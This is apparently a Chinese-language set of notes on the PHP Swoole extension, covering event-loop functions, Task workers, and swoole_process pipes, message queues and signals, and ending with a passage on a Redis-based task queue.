检测的事件类型 SWOOLE_EVENT_READ: 是否监听了可读事件 SWOOLE_EVENT_WRITE: 是否监听了可写事件 SWOOLE_EVENT_READ | SWOOLE_EVENT_WRITE: 监听可读或可写事件 使用实例 swoole_event_add($fd,$callback,null,SWOOLE_EVENT_READ); var_dump(swoole_event_isset($fd,SWOOLE_EVENT_READ)); //返回 true var_dump(swoole_event_isset($fd,SWOOLE_EVENT_WRITE)); //返回 false var_dump(swoole_event_isset($fd,SWOOLE_EVENT_READ | SWOOLE_EVENT_WRITE)); //返回 true 【 swoole_event_write 】 用于PHP自带stream/sockets扩展创建的socket,使用fwrite/socket_send等函数向对端发送数据。当发送的数据量较大,socket写缓存区已满,就会发送阻塞等待或者返回EAGAIN错误。 swoole_event_write函数可以将stream/sockets资源的数据发送变成异步的,当缓冲区满了或返回EAGAIN,swoole底层会将数据加入到发送队列并监听可写。socket可写时swoole底层会自动写入。
swoole_event_write不能用于SSL/TLS等有隧道加密的stream/sockets资源 swoole_event_write操作成功后会自动将该$socket设置为非阻塞模式 $data发送数据的长度不得超过Socket缓存区尺寸 SOCKET缓存区已满后,Swoole的底层逻辑持续写入SOCKET如果对端读取不够快,那SOCKET缓存区会塞满。swoole底层会将数据存到内存缓存区中,直到可写事件触发再写入SOCKET。 可使用Swoole\Async::set(或swoole_async_set)方法动态设置socket_buffer_size值 swoole老版本内存缓存区尺寸可以在通过修改php.ini 中的 swoole.socket_buffer_size 项进行配置,默认为8M 如果内存缓存区也被写满了,此时swoole底层会抛出pipe buffer overflow,reactor will block. 错误,并进入阻塞等待。 如果调用端希望不要阻塞,直接返回错误,可以使用swoole_async_set设置socket_dontwait为true,write将不会阻塞而是直接返回false 缓存塞满返回false是原子操作,只会出现全部写入成功或者全部失败 【 swoole_event_del 】 swoole_event_del函数用于从reactor中移除监听的socket。swoole_event_del应当与swoole_event_add成对使用 bool swoole_event_del(mixed $sock); 参数为socket的文件描述符。 必须在socket关闭前使用swoole_event_del移除事件监听,否则可能会产生内存泄漏 【 swoole_event_exit 】 退出事件轮询,此函数仅在Client程序中有效,因为服务器不能退出事件循环 void swoole_event_exit(void) 【 swoole_event_defer 】 在下一个事件循环开始时执行函数。 swoole_event_defer(mixed $callback_function); swoole_event_defer的回调函数会在当前EventLoop的事件循环结束、下一次事件循环开始前执行。 $callback_function是时间到期后所执行的函数,必须是可以调用的。回调函数不接受任何参数,可以使用匿名函数的use语法传递参数到回调函数中 在$callback_function函数执行过程中添加新的defer任务,仍然会在本轮事件循环内执行完成
【 swoole_event_cycle 】 定义事件循环周期执行函数。此函数会在每一轮事件循环结束时调用。 bool swoole_event_cycle(callable $callback,bool $before = false); $callback要设置的回调函数,必须为可执行。$callback为null时表示清除cycle函数 已设置cycle函数,重新设置时会覆盖上一次的设定 $before在EventLoop之前调用该函数 设置成功返回true 可以同时存在before=true和before=false两个回调函数。
【 swoole_event_wait 】
void swoole_event_wait(void);
PHP5.4之前的版本没有在ZendAPI中加入注册shutdown函数。所以swoole无法在脚本结尾处自动进行事件轮询。所以低于5.4的版本,需要在PHP脚本结尾处加swoole_event_wait函数。使脚本开始进行事件轮询。
5.4或更高版本不需要加此函数,SwooleServer下也不需要加
【 swoole_event_dispatch 】
仅执行一次reactor->wait操作,在Linux平台下相当手工调用一次epoll_wait。与swoole_event_wait不同的是,swoole_event_wait在底层内部维持了循环。
void swoole_event_dispatch(void);
此函数的目的是兼容一些框架,如amp,它在框架内部自行控制reactor的循环,而使用swoole_event_wait,swoole底层维持了控制权,就无法让出给框架方。
while(true){
swoole_event_dispatch();
}
【 eventloop实例 - 命令行聊天室 】 异步读取来自服务器的数据 异步读取来自终端的输入 手动退出聊天室
Swoole Task异步任务
Task Worker是Swoole中一种特殊的工作进程,该进程的作用是处理一些耗时较长的任务,达到释放Worker进程的目的。Worker进程可以通过swoole_server对象的task方法投递一个任务到Task Worker进程. Worker进程通过Unix Sock管道将数据发送给Task Worker,这样Worker进程就可以继续处理新的逻辑,无需等待耗时任务的执行。worker进程和task进程是通过管道通信的,也可配置通过消息队列 由于Task Worker是独立进程,因此无法直接在两个进程之间共享全局变量,需要使用Redis、MySQL或swoole_table来实现进程间共享数据 worker进程执行task()传递数据投递任务,task进程ontask()接收数据并处理数据,task进程finish()或直接return返回结果,worker进程onfinish()处理收到的结果 在Server程序中如果需要执行很耗时的操作,比如一个聊天服务器发送广播、Web服务器中发送邮件。如果直接去执行这些函数就会阻塞当前进程,导致服务器响应变慢。 node.js假如有10万个连接,要发广播时会循环10万次,这时候程序不能做任何事情,不能接受新的连接,也不能收包发包。而swoole不同,丢给task进程之后,worker进程可以继续处理新的数据请求。任务完成后会异步地通知worker进程告诉任务已经完成。 Swoole提供了异步任务处理的功能,可以投递一个异步任务到TaskWorker进程池中执行,不影响当前请求的处理速度 swoole的异步任务task系统可以很方便的在开发的过程中调用异步任务的执行,而无需等待。 常见使用场景: task模块用来做一些异步的慢速任务,比如webIM中发广播,发送邮件,异步订单处理、异步支付处理等。 task进程必须是同步阻塞的 task进程支持定时器 当然task模块的作用还不仅如此,实现PHP的数据库连接池,异步队列等,还需要进一步挖掘。 基于第一个TCP服务器,只需要增加onTask和onFinish2个事件回调函数即可。另外需要设置task进程数量,可以根据任务的耗时和任务量配置适量的task进程 调用$serv->task()后,程序立即返回,继续向下执行代码。onTask回调函数Task进程池内被异步执行。执行完成后调用$serv->finish()返回结果,finish操作是可选的,也可以不返回任何结果异步tcp服务器异步的mysql操作
【 swoole_server task异步任务 】
投递一个异步任务到task_worker池中。此函数是非阻塞的,执行完毕会立即返回。worker进程可以继续处理新的请求
int swoole_server::task(mixed $data,int $dst_worker_id = -1)
$task_id = $serv->task("some data");
//swoole-1.8.6或更高版本
$serv->task("taskcallback",-1,function (swoole_server $serv,$task_id,$data) {
echo "Task Callback: ";
var_dump($task_id,$data);
});
$data要投递的任务数据,可以为除资源类型之外的任意PHP变量,传递是的是对象的拷贝而不是引用,因为worker和task是两个独立的进程,task中对对象的改变不会反映到worker中,数据库连接、网络连接不可传递
dst_worker_id可以制定要给投递给哪个task进程,传入ID即可,范围是0 - (serv->task_worker_num -1)
调用成功,返回值为整数$task_id,表示此任务的ID。如果有finish回应,onFinish回调中会携带$task_id参数
调用失败,返回值为false,$task_id可能为0,因此必须使用===判断是否失败
未指定目标Task进程,调用task方法会判断Task进程的忙闲状态,底层只会向处于空闲状态的Task进程投递任务
如果所有Task进程均处于忙的状态,底层会轮询投递任务到各个进程。可以使用server->stats方法获取当前正在排队的任务数量
1.8.6版本增加了第三个参数,可以直接设置onFinish函数,如果任务设置了回调函数,Task返回结果时会直接执行指定的回调函数,不再执行Server的onFinish回调
$dst_worker_id在1.6.11+后可用,默认为随机投递
task_id是从0-42亿的整数,在当前进程内是唯一的
ask方法不能在task进程/用户自定义进程中调用
此功能用于将慢速的任务异步地去执行,比如一个聊天室服务器,可以用它来进行发送广播。当任务完成时,在task进程调用$serv->finish("finish")告诉worker进程此任务已完成。当然swoole_server->finish是可选的。
task底层使用Unix Socket管道通信,是全内存的,没有IO消耗。单进程读写性能可达100万/
不同的进程使用不同的管道通信,可以最大化利用多核。
AsyncTask功能在1.6.4版本增加,默认不启动task功能,需要在手工设置task_worker_num来启动此功能
ask_worker的数量在swoole_server::set参数中调整,如task_worker_num =>
,表示启动64个进程来接收异步任务
配置参数
swoole_server->task/taskwait/finish 3个方法当传入的$data数据超过8K时会启用临时文件来保存。当临时文件内容超过server->package_max_length 时底层会抛出一个警告。此警告不影响数据的投递,过大的Task可能会存在性能问题
WARN: task package is too big.
server->package_max_length 默认为2M
注意事项
使用swoole_server_task必须为Server设置onTask和onFinish回调,否则swoole_server->start会失败
task操作的次数必须小于onTask处理速度,如果投递容量超过处理能力,task会塞满缓存区,导致worker进程发生阻塞。worker进程将无法接收新的请求
使用addProcess添加的用户进程中无法使用task投递任务,请使用sendMessage接口与工作进程通信
【 Swoole taskwait 】 string $result = swoole_server->taskwait(mixed $task_data,float $timeout = 0.5,int $dst_worker_id = -1); taskwait与task方法作用相同,用于投递一个异步的任务到task进程池去执行,不同的是taskwait是阻塞等待直到任务完成或超时返回 $result为任务执行的结果,由$serv->finish函数发出。如果此任务超时,这里会返回false。 taskwait是阻塞接口,如果Server是全异步的请使用swoole_server::task和swoole_server::finish,不要使 askwait 第3个参数可以制定要给投递给哪个task进程,传入ID即可,范围是0 - serv->task_worker_num dst_worker_id在1.6.11+后可用,默认为随机投递 askwait方法不能在task进程中调用 onTask 在task_worker进程内被调用。worker进程可以使用swoole_server_task函数向task_worker进程投递新的任务。当前的Task进程在调用onTask回调函数时会将进程状态切换为忙碌,这时将不再接收新的Task,当onTask函数返回时会将 状态切换为空闲然后继续接收新的Task。 function onTask((swoole_server $serv,int $task_id,int $src_worker_id,string $data)); $task_id是任务ID,由swoole扩展内自动生成,用于区分不同的任务。$task_id和$src_worker_id组合起来才是全局 的,不同的worker进程投递的任务ID可能会有相同 src_worker_id来自于哪个worker进程 $data 是任务的内容 返回执行结果到worker进程 1.7.2以上的版本,在onTask函数中 turn字符串,表示将此内容返回给worker进程。worker进程中会触发onFinish函数,表示投递的task已完成。 return的变量可以是任意非null的PHP变量 1.7.2以前的版本,需要调用swoole_server->finish()函数将结果返回给worker进程 task的onfinish回调会回调用task方法的worker进程
swoole_process 进程管理
swoole_process进程管理模块用来替代PHP的pcntl,pcntl有很多限制 swoole_process包含: 1、本身是进程,该对象创建时就会默认创建一个管道,用于进程的通信 2、内存 3、IO句柄 swoole_process基于c语言封装的进程管理模块,方便php的多进程编程 内置管道、消息队列接口,可方便实现进程间通信 提供自定义信号管理 Process进程在系统是非常昂贵的资源,创建进程消耗很大。创建的进程过多会导致进程切换开销大幅上升。可以使用vmstat指令查看操作系统每秒进程切换的次数。 vmstat 1 1000 procs -----------memory---------- ---swap-- -----io---- -system-- ------cpu----- r b swpd free buff cache si so bi bo in cs us sy id wa st 0 0 0 8250028 509872 4061168 0 0 10 13 88 86 1 0 99 0 0 0 0 0 8249532 509872 4061936 0 0 0 0 451 1108 0 0 100 0 0 0 0 0 8249532 509880 4061844 0 0 0 0 440 1116 0 0 99 0 0 PHP自带的pcntl,存在很多不足: pcntl没有提供进程间通信的功能 pcntl不支持重定向标准输入和输出 pcntl只提供了fork这样原始的接口,容易使用错误 swoole_process提供了比pcntl更强大的功能,更易用的API,使PHP在多进程编程方面更加轻松。 Swoole\Process提供了如下特性: 基于Unix Socket和sysvmsg消息队列的进程间通信,只需调用write/read或者push/pop即可 支持重定向标准输入和输出,在子进程内echo不会打印屏幕,而是写入管道,读键盘输入可以重定向为管道读取数据 配合Event模块,创建的PHP子进程可以异步的事件驱动模式 提供了exec接口,创建的进程可以执行其他程序,与原PHP父进程之间可以方便的通信 进程是运行着的程序 new Process(): 只有回调函数的逻辑会在进程中执行 除此之外的代码都是在主进程中执行 一个同步实例: 子进程异常退出时,自动重启 主进程异常退出时,子进程会继续执行,完成所有任务后退出curl_multi_init 利用curl多线程模拟并发机制实现php批量网络请求swoole_process实例 - 动态进程池主进程退出子进程干完活后也退出,子进程异常退出主进程自动重启,运行并模拟主进程异常退出kill -9 106多个子进程 + 异步IO
【 swoole_set_process_name() 】 修改进程名,不兼容mac 【 Process::__construct 】 创建子进程,通过回调函数来设置子进程将要执行的逻辑代码 swoole_process::__construct(callable $function,$redirect_stdin_stdout=false,$pipe_type=2); 参数$function是子进程创建成功后要执行的函数,底层会自动将函数保存到对象的callback属性上。如果希望更改执行的函数,可赋值新的函数到对象的callback属性 参数$redirect_stdin_stdout是重定向子进程的标准输入和输出。启用此选项后在子进程内输出内容将不是打印屏幕,而是写入到主进程管道。读取键盘输入将变为从管道中读取数据。默认为阻塞读取。 参数$pipe_type是管道类型,启用$redirect_stdin_stdout后此选项将忽略用户参数强制为1。如果子进程内没有进程间通信,可以设置为 0 管道 半双工: 数据单向流动,一端只读,一端只写. 同步vs异步: 默认为同步阻塞模式,可以使用swoole_event_add()添加管道到swoole的event loop中,实现异步IOswoole process中的管道很强大,支持子进程写、主进程读以及主进程写、子进程读
管道类型 0: 不创建管道 1: 创建SOCK_STREAM类型管道 2: 创建SOCK_DGRAM类型管道 SOCK_STREAM表明数据象字符流一样通过socket,而SOCK_DGRAM则表明数据将是数据报(datagrams)的形式 SOCK_STREAM (流套接口) 1、不保留任何消息的边界 举一个例子: 本地主机通过两次独立的write(2)调用向远程主机发送数据,第一次本地进程写入25字节的数据,并通过套接口发送到远程进程,第二次再写入30字节的数据发往远程进程,总共55字节的数据,而远程进程从套接口接收数据时,将消息作为一个完整的单元来接收,或是通过若干次独立的读操作来将数据取走,即接受端并不知道这55字节的数据是分25字节和30字节两次来发送的。 2、有序性 可以保证接受的数据字节与发送是顺序完全一致(意味着通信之前必须建立一个连接) 3、无错性 可以保证接受的数据在接收端被无错的接受。如果有错误发生,在尝试完所有的错误恢复措施后仍无法消除错误,流套接口就会报告错误。所进行的错误恢复措施尝试是完全自动的,不需编程者的指导。 SOCK_DGRAM (数据报套接字) 1、分组在发送后,可能无序地到达接收端 2、分组可能丢失。如果发生丢失,不会采取任何补救的措施,而且接受端也不必知道有分租丢失。 3、数据报分组有尺寸大小的限制,如果超出限制,在某些路由器和节点上就无法传送。 4、分组是在不建立连接的情况下被发送到远程进程的。 所以如果需要传输的数据是准确的,建议采用TCP,也就是SOCK_STREAM 如果传输的是视频音频等数据,丢几个包也无所谓的,可以采用UDP,也就是SOCK_DGRAM 下面表示通信协议族用TCP/IP协议族,以流套接字类型传输,使用TCP协议 SOCKET testSocket = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 下面表示通信协议族用TCP/IP协议族,以数据报套接字类型传输,使用UDP协议 SOCKET testSocket = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP); swoole_process或Swoole\Process对象在销毁时会自动关闭管道,子进程内如果监听了管道会收到CLOSE事件 使用swoole_process作为监控父进程,创建管理子process时,父类必须注册信号SIGCHLD对退出的进程执行wait,否则子process一旦被kill会引起父process exit 在子进程中创建Server 可以在swoole_process创建的子进程中使用swoole_server,但为了安全必须在$process->start创建进程后,调用$worker->exec()执行 关闭管道 // 关闭管道: 默认值0->关闭读写 1->关闭写 2->关闭读 $process->close();php从shell管道中读取数据管道异步IO操作设置超时添加二参true之后进程对应的执行函数的输出不再直接打印到屏幕使用匿名函数作为进程逻辑,并实现了一个简单的父子进程通讯
IO线程池问题 由于Swoole的异步文件IO使用了线程池,在使用了这些API之后再创建Process可能会出现非常复杂的带线程fork问题。因此请勿在使用异步文件IO函数后创建Process。 2.1.4/1.10.4或更高版本已经禁止了这种行为,底层检测到已创建线程池再执行new Process会抛出致命错误 【 Process->start 】 执行fork系统调用,启动子进程。创建成功返回子进程的PID,创建失败返回false,可使用swoole_errno和swoole_strerror得到错误码和错误信息。 int function swoole_process->start() $process->pid 属性为子进程的PID $process->pipe 属性为管道的文件描述符,用于管道通信 子进程会继承父进程的内存和文件句柄 子进程在启动时会清除从父进程继承的EventLoop、Signal、Timer 执行后子进程会保持父进程的内存和资源,如父进程内创建了一个redis连接,那么在子进程会保留此对象,所有操作都是对同一个连接进行的。
子进程启动后会自动清除父进程中swoole_timer_tick创建的定时器、swoole_process::signal监听的信号和swoole_event_add添加的事件监听
子进程会继承父进程创建的$redis连接对象,父子进程使用的连接是同一个
【 Process->name 】
修改进程名称。此函数是swoole_set_process_name的别名。
$process->name("php server.php: worker");
在执行exec后,进程名称会被新的程序重新设置
name方法应当在start之后的子进程回调函数中使用
【 Process->exec 】
执行一个外部程序,此函数是exec系统调用的封装。
bool Process->exec(string $execfile,array $args)
$execfile指定可执行文件的绝对路径,如"/usr/bin/python",否则会报文件不存在错误
$args是一个数组,是exec的参数列表,如array('test.py',123),相当与python test.py 123
执行成功后当前进程的代码段将会被新程序替换。子进程蜕变成另外一套程序。父进程与当前进程仍然是父子进程关系。
父进程与新进程之间可以通过标准输入输出进行通信,必须启用标准输入输出重定向。
由于exec系统调用会使用指定的程序覆盖当前程序,子进程需要读写标准输出与父进程进行通信
如果未指定redirect_stdin_stdout = true,执行exec后子进程与父进程无法通信
父进程与exec子进程使用管道进行通信
执行shell命令
exec方法与PHP提供的shell_exec不同,它是更底层的系统调用封装。如果需要执行一条shell命令请使用以下方法:
$worker->exec('/bin/sh',array('-c',"cp -rf /data/test/* /tmp/test/"));
【 Process->write 】
向管道内写入数据。
int Process->write(string $data);
$data的长度在Linux系统下最大不超过8K,MacOS/FreeBSD下最大不超过2K
在子进程内调用write,父进程可以调用read接收此数据
在父进程内调用write,子进程可以调用read接收此数据
Swoole底层使用Unix Socket实现通信,Unix Socket是内核实现的全内存通信,无任何IO消耗。在1进程write,1进程read,每次读写1024字节数据的测试中,100万次通信仅需1.02秒。
管道通信默认的方式是流式,write写入的数据在read可能会被底层合并。可以设置swoole_process构造函数的第三个参数为2改变为数据报式。
MacOS/FreeBSD可以设置net.local.dgram.maxdgram内核参数修改最大长度
异步模式
如果进程内使用了异步IO,比如swoole_event_add,进程内执行write操作将变为异步模式。swoole底层会监听可写事件,自动完成管道写入。
异步模式下如果SOCKET缓存区已满,Swoole的处理逻辑请参考 swoole_event_write
同步模式
进程内未使用任何异步IO,当前管道为同步阻塞模式,如果缓存区已满,将阻塞等待直到write操作完成。
Task进程就是同步阻塞的模式,如果管道的缓存区已满,调用write时会发生阻塞
乱序丢包
很多网络文章提到DGRAM模式下会出现丢包、乱序问题,实际上这些问题仅存在于Internet网络的UDP通信。UnixSocket是Linux内核实现的内存数据队列,不会出现丢包乱序问题。write写入和read读取的顺序是完全一致的。write返回成功后一定是可以read到的。
【 Process->read 】
从管道中读取数据。
function Process->read(int $buffer_size=8192) : string | bool;
$buffer_size是缓冲区的大小,默认为8192,最大不超过64K
管道类型为DGRAM数据报时,read可以读取完整的一个数据包
管道类型为STREAM时,read是流式的,需要自行处理包完整性问题
读取成功返回二进制数据字符串,读取失败返回false
这里是同步阻塞读取的,可以使用swoole_event_add将管道加入到事件循环中,变为异步模式
由于Swoole底层使用了epoll的LT模式,因此swoole_event_add添加的事件监听,在事件发生后回调函数中必须调用read方法读取socket中的数据,否则底层会持续触发事件回调。 【 Process->setTimeout 】 设置管道读写操作的超时时间。 function Process->setTimeout(double $timeout) $timeout单位为秒,支持浮点型,如1.5表示1s+500ms 设置成功返回true,失败返回false,可使用swoole_errno获取错误码 设置成功后,调用recv和write在规定时间内未读取或写入成功,将返回false,可使用swoole_errno获取错误码。
【 Process->setBlocking 】 设置管道是否为阻塞模式。默认Process的管道为同步阻塞。 function Process->setBlocking(bool $blocking = true); $blocking 布尔型,默认为true,设置为false时管道为非阻塞模式 非阻塞模式 在异步程序中使用swoole_event_add添加管道事件监听时底层会自动将管道设置为非阻塞 在异步程序中使用swoole_event_write异步写入数据时底层会自动将管道设置为非阻塞设置为阻塞模式
【 Process->useQueue 】
启用消息队列作为进程间通信
bool swoole_process->useQueue(int $msgkey = 0,int $mode = 2);
useQueue方法接受2个可选参数。
$msgkey是消息队列的key,默认会使用ftok(__FILE__,1)作为KEY
$mode通信模式,默认为2,表示争抢模式,所有创建的子进程都会从队列中取数据
创建消息队列失败会返回false,可使用swoole_strerror(swoole_errno())得到错误码和错误信息。
使用模式2后,创建的子进程无法进行单独通信,比如发给特定子进程。
$process对象并未执行start,也可以执行push/pop向队列推送/提取数据
消息队列通信方式与管道不可共用。消息队列不支持EventLoop,使用消息队列后只能使用同步阻塞模式
swoole_process的创建默认是创建的管道,当想用消息队列时要把参数设成false
useQueue要在start的之前调用,
pop方法默认是阻塞的
一定一定要写wait
多个子进程使用消息队列通讯一定写上$process->exit(1),swoole_process->exit(0)前把消息队列删除了,再想往消息队列里写东西时写不了了,因为没有消息队列了。
CygWin环境不支持消息队列,请勿在此环境下使用,Cygwin是一个在windows平台上运行的类UNIX模拟环境
非阻塞
在1.9.2或更高版本中增加了swoole_process::IPC_NOWAIT的支持,可将队列设置为非阻塞。在非阻塞模式下队列已满调用push方法、队列已空调用pop方法时将不再阻塞立即返回。
//设置为非阻塞模式
$process->useQueue($key,$mode | swoole_process::IPC_NOWAIT);
消息队列:
一系列保存在内核中的消息链表
有一个msgKey,可以通过此访问不同的消息队列
有数据大小限制,默认8192,可以通过内核修改
阻塞 vs 非阻塞: 阻塞模式下pop()空消息队列/push()满消息队列会阻塞,非阻塞模式可以直接返回
swoole中使用消息队列:
通信模式: 默认为争抢模式,无法将消息投递给指定子进程
新建消息队列后,主进程就可以使用
消息队列不可和管道一起使用,也无法使用swoole event loop
主进程中要调用wait(),否则子进程中调用pop()/push()会报错
与消息队列相关的内核参数
kernel.msgmnb = 4203520,消息队列的最大字节数
kernel.msgmni = 64,最多允许创建多少个消息队列
kernel.msgmax = 8192,消息队列单条数据最大的长度
临时修改:命令行执行如下命令
sysctl -w kernel.msgmax=1024 # 将msgmax改为1024,其它两个参数修改方法类似
持久修改:修改/etc/sysctl.conf文件,增加(修改)配置
kernel.msgmnb = 65536
kernel.msgmax = 8192
运行如下命令使配置生效
/sbin/sysctl -p
单条消息超过kernel.msgmax的情况
此时push()返回false,php会报类似下面的错误
PHP Warning: swoole_process::push(): msgsnd() failed. Error: Invalid argument[22]
消息总量超过kernel.msgmnb的情况
默认模式下(阻塞模式)时push方法会阻塞等待。非阻塞模式下push方法会立即返回false。
如果机器上有多个队列,队列总体大小是指所有队列所占空间的总和
进程重启后延用之前的队列
进程启动后使用ipcs -q查看队列的key
ipcs -q
------ Message Queues --------
key msqid owner perms used-bytes messages
0x0010e9e7 360448 ballqiu 666 1832 2
手动删除队列
ipcrm -q $msgqkey
重启前修改代码,将useQueue()的第一个参数填写上面的key值。这样即使进程重启依然可以延用之前的队列,队列中若有未处理完的数据可以继续通过pop()取得
$process = new swoole_process('callback_function',false,false);
$process->useQueue(0x0010e9e7);
task进程使用消息队列 可将task进程单独设置为消息队列。带来的好处是: 任务排队容量增加 在维持worker进程异步的前提下,task进程可使用消息队列提升任务排队的容量,unix sock受到缓存区尺寸限制,而消息队列不受限制,可以利用到操作系统所有的内存。 如你的机器有32G内存,如果是unix sock一般缓冲区只有8M。如果你的任务很多,会堆积在socket缓存区中。当超过缓冲区时就会无法再投递新的任务。 而消息队列,只要操作系统有剩余内存,那一直可以投递新的任务到队列中。 支持外部程序投递任务 当前的swoole使用Unix Socket,只允许程序内部进行通信。采用消息队列后,拿到消息队列的key。其他程序就可以向此队列投递数据了。
task进程是可以与swoole_server所有的客户端连接进行通信的,所以外部程序使用消息队列作为IPC,就可以与所有客户端连接进行通信 使用方法 只需设置swoole_server::set参数即可,新增的参数如下: 1、task_ipc_mode => 1 | 2 | 3 默认为1就是普通的unix socket通信方式,2、3就是使用消息队列模式。模式2和模式3的不同之处是,模式2支持定向投递,$serv->task($data,$task_worker_id) 这里可以指定投递到哪个task进程。模式3是完全争抢模式,task进程会争抢队列,将无法使用定向投递,即使指定了$task_worker_id,在模式3下也是无效的。 2、message_queue_key => 0x72000100 指定一个消息队列key。如果需要运行多个swoole_server的实例,务必指定。否则会发生数据错乱
【 Process->statQueue 】 查看消息队列状态。 array swoole_process->statQueue(); 返回一个数组,包括2项信息 queue_num 队列中的任务数量 queue_bytes 队列数据的总字节数 array( "queue_num" => 10, "queue_bytes" => 161, ); 【 Process->freeQueue 】 删除队列。此方法与useQueue成对使用,useQueue创建队列,使用freeQueue销毁队列。销毁队列后队列中的数据会被清空。 如果程序中只调用了useQueue方法,未调用freeQueue在程序结束时并不会清除数据。重新运行程序时可以继续读取上次运行时留下的数据。 系统重启时消息队列中的数据会被丢弃。 function swoole_process->freeQueue(); 【 Process->push 】 投递数据到消息队列中。 bool Process->push(string $data); $data要投递的数据,长度受限与操作系统内核参数的限制。默认为8192,最大不超过65536 操作失败会返回false,成功返回true 默认模式下(阻塞模式),如果队列已满,push方法会阻塞等待 非阻塞模式下,如果队列已满,push方法会立即返回false进程队列通信
【 Process->pop 】 从队列中提取数据。 string Process->pop(int $maxsize = 8192); $maxsize表示获取数据的最大尺寸,默认为8192 操作成功会返回提取到的数据内容,失败返回false 默认模式下,如果队列中没有数据,pop方法会阻塞等待 非阻塞模式下,如果队列中没有数据,pop方法会立即返回false,并设置错误码为ENOMSG 【 Process->close 】 用于关闭创建的好的管道。 bool Process->close(int $which = 0); $which 指定关闭哪一个管道,默认为0表示同时关闭读和写,1: 关闭写,2关闭读 有一些特殊的情况Process对象无法释放,如果持续创建进程会导致连接泄漏。调用此函数就可以直接关闭管道,释放资源。 【 Process->exit 】 子进程主动退出 int Process->exit(int $status=0); $status是退出进程的状态码,如果为0表示正常结束,会继续执行PHP的shutdown_function、其他扩展的清理工作。 如果$status不为0,表示异常退出,会立即终止进程,不再执行PHP的shutdown_function、其他扩展的清理工作。 在父进程中执行Process::wait可以得到子进程退出的事件和状态码。 【 Process::kill 】 向指定pid进程发送信号 bool Process::kill($pid,$signo = SIGTERM); 默认的信号为SIGTERM,表示终止进程 $signo=0,可以检测进程是否存在,不会发送信号
僵尸进程
子进程退出后,父进程务必要执行Process::wait进行回收,否则这个子进程就会变为僵尸进程浪费操作系统的进程资源。
父进程可以设置监听SIGCHLD信号,收到信号后执行Process::wait回收退出的子进程。
【 Process::wait 】
回收结束运行的子进程。调用wait()系统调用,回收子进程,如果不回收,子进程会变成僵尸进程,浪费系统资源
array Process::wait(bool $blocking = true);
$result = array('code' => 0,'pid' => 15001,'signal' => 15);
$blocking 参数可以指定是否阻塞等待,默认为阻塞
操作成功会返回一个数组包含子进程的PID、退出状态码、被哪种信号KILL
失败返回false
子进程结束必须要执行wait进行回收,否则子进程会变成僵尸进程
$blocking 仅在1.7.10以上版本可用
使用Process作为监控父进程,创建管理子进程时,父类必须注册信号SIGCHLD对退出的进程执行wait,否则子进程一旦被kill会引起父进程退出
在异步信号回调中执行wait
Process::signal(SIGCHLD,function($sig) {
//必须为false,非阻塞模式
while($ret = Process::wait(false)) {
echo "PID={$ret['pid']}\n";
}
});
信号发生时可能同时有多个子进程退出
必须循环执行wait直到返回false
【 Process::daemon 】
使当前进程蜕变为一个守护进程。
//低于1.9.1的版本
bool Process::daemon(bool $nochdir = false,bool $noclose = false);
//1.9.1或更高版本
bool Process::daemon(bool $nochdir = true,bool $noclose = true);
$nochdir,为true表示不要切换当前目录到根目录。
$noclose,为true表示不要关闭标准输入输出文件描述符。
此函数在1.7.5版本后可用
1.9.1或更高版本修改了默认值,现在默认nochir和noclose均为true
蜕变为守护进程时,该进程的PID将发生变化,可以使用getmypid()来获取当前的PID
【 Process::signal 】
设置异步信号监听,收到某种信号则执行对应的回调函数
bool Process::signal(int $signo,callable $callback);
此方法基于signalfd和eventloop是异步IO,不能用于同步程序中
同步阻塞的程序可以使用pcntl扩展提供的pcntl_signal
$callback为null表示移除信号监听
如果已设置了此信号的回调函数,重新设置时会覆盖历史设置
Server中不能设置SIGTERM和SIGALAM信号
Process::signal(SIGTERM,function($signo) {
echo "shutdown.";
});
【 Process::alarm 】
高精度定时器,是操作系统setitimer系统调用的封装,可以设置微秒级别的定时器。定时器会触发信号,需要与Process::signal或pcntl_signal配合使用。alarm不能和Timer同时使用
bool function Process::alarm(int $interval_usec,int $type = ITIMER_REAL)
参数$interval_usec是定时器间隔时间,单位为微秒,负数表示清除定时器
参数$type是定时器类型
0 表示为真实时间,触发SIGALAM信号
1 表示用户态CPU时间,触发SIGVTALAM信号
2 表示用户态+内核态时间,触发SIGPROF信号
设置成功返回true,失败返回false,可以使用swoole_errno得到错误码
进程信号触发器【 Process::setAffinity 】 设置CPU亲和性,可以将进程绑定到特定的CPU核上。 function Process::setAffinity(array $cpu_set); 接受一个数组参数表示绑定哪些CPU核,如array(0,2,3)表示绑定CPU0/CPU2/CPU3 成功返回true,失败返回false $cpu_set内的元素不能超过CPU核数 CPU-ID不得超过(CPU核数 - 1) 使用 swoole_cpu_num() 可以得到当前服务器的CPU核数 setAffinity函数在1.7.18以上版本可用 此函数的作用是让进程只在某几个CPU核上运行,让出某些CPU资源执行更重要的程序。使用消息队列
【 基于Swoole和Redis实现的并发队列处理系统 】 由于PHP不支持多线程,但是作为一个完善的系统,有很多操作都是需要异步完成的。为了完成这些异步操作做一个基于Redis队列任务系统。 一个消息队列处理系统主要分为两大部分: 消费者和生产者,主系统作为生产者,任务系统作为消费者。 具体的工作流程如下: 1、主系统将需要需要处理的任务名称+任务参数push到队列中。 2、任务系统实时的对任务队列进行pop,pop出来一个任务就fork一个子进程,由子进程完成具体的任务逻辑。
这是一个简单的任务处理系统,通过这个任务系统实现了异步,可以稳定运行了。 但很可惜,它是一个单进程的系统,它是一直在不断的fork,如果有任务就处理,没有任务就跳过。 但问题有两个: 一是不断地fork、pop会浪费服务器资源,二是不支持并发! 第一个问题还好,但第二个问题就很严重。当主系统同时抛过来大量的任务时,任务的处理时间就会无限的拉长。 新的设计 为了解决并发的问题,计划做一个更加高效强壮的队里处理系统。因为在PHP7之前不支持多线程,所以采用多进程。 网上大多所谓的多进程都是N个进程同时在后台运行,显然这是不合适的。 预想是: 每pop出一个任务就fork一个任务,任务执行完成后子进程结束。 遇到的问题 1、如何控制最大进程数 每fork一个子进程就自增一次,而当子进程执行完成就自减一次。 自增就在主进程中操作,但是不能在子进程中自减,当fork的时候是从主进程复制了一份资源给子进程,这就意味着无法在子进程中操作主进程中的计数器,所以可以采用信号,安装了一个信号处理器 // install signal handler for dead kids pcntl_signal(SIGCHLD,array($this,"sig_handler")); declare(ticks = 1); declare是一个控制结构语句,每执行一条低级语句就调用一次信号处理器。 这样每当子进程结束的时候就会调用信号处理器就可以在信号处理器中进行自减。 2、如何解决进程残留 在多进程开发中,如果处理不当就会导致进程残留,为了解决进程残留,必须得将子进程回收。 